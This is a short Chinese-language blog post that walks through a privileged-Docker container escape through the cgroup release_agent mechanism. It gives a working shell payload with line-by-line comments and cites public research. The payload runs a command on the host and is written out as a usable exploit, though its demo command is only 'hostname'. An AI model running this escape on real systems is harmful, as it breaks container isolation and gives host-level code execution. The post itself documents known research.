利用cgroup快速逃逸docker

  1. 前言
  2. 利用条件
  3. 复现过程
  4. 总结
  5. 参考链接

前言

昨天在群里看见篇docker逃逸的文章,看到个没见到的操作。复现并记录一波

利用条件

容器拥有特权模式
docker run -it –privileged ubuntu /bin/bash

复现过程

payload

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nhostname >'"$t/o" >/c;
chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

命令刨析

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` #寻找cgroup文件夹位置
mkdir -p $d/w
echo 1 >$d/w/notify_on_release #该文件的内容为1时,当cgroup退出时(不再包含任何进程和子cgroup),将调用release_agent里面配置的命令。新cgroup被创建时将默认继承父cgroup的这项配置。
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` #从当前的分区挂载寻找该容器的UID
touch /o
echo $t/c > $d/release_agent #里面包含了cgroup退出时将会执行的命令,系统调用该命令时会将相应cgroup的相对路径当作参数传进去。
printf '#!/bin/sh\nhostname >'"$t/o" >/c; #输出<command> \> 和容器pid路径 图二 (将在母机上执行的命令执行到容器根目录里面的o文件)
chmod +x /c
sh -c "echo 0 >$d/w/cgroup.procs" #当前cgroup中的所有进程ID,系统不保证ID是顺序排列的,且ID有可能重复 (将进程PID写入除非cgroup执行)
sleep 1
cat /o

总结

当docker容器使用特权模式启动时,有权操控cgroup,由于cgroup是Linux内核的一个功能。利用cgroup可以直接执行母机的命令 (说法可能有误)

参考链接

https://www.intezer.com/blog/research/how-we-escaped-docker-in-azure-functions/
https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
https://twitter.com/_fel1x/status/1151487051986087936?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1151487053370187776%7Ctwgr%5E&ref_url=https%3A%2F%2Fblog.trailofbits.com%2F2019%2F07%2F19%2Funderstanding-docker-container-escapes%2F
https://zh.wikipedia.org/wiki/Cgroups


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:利用cgroup快速逃逸docker

本文作者:九世

发布时间:2021-01-29, 02:40:23

最后更新:2021-01-29, 02:45:07

原始链接:http://422926799.github.io/posts/99258750.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录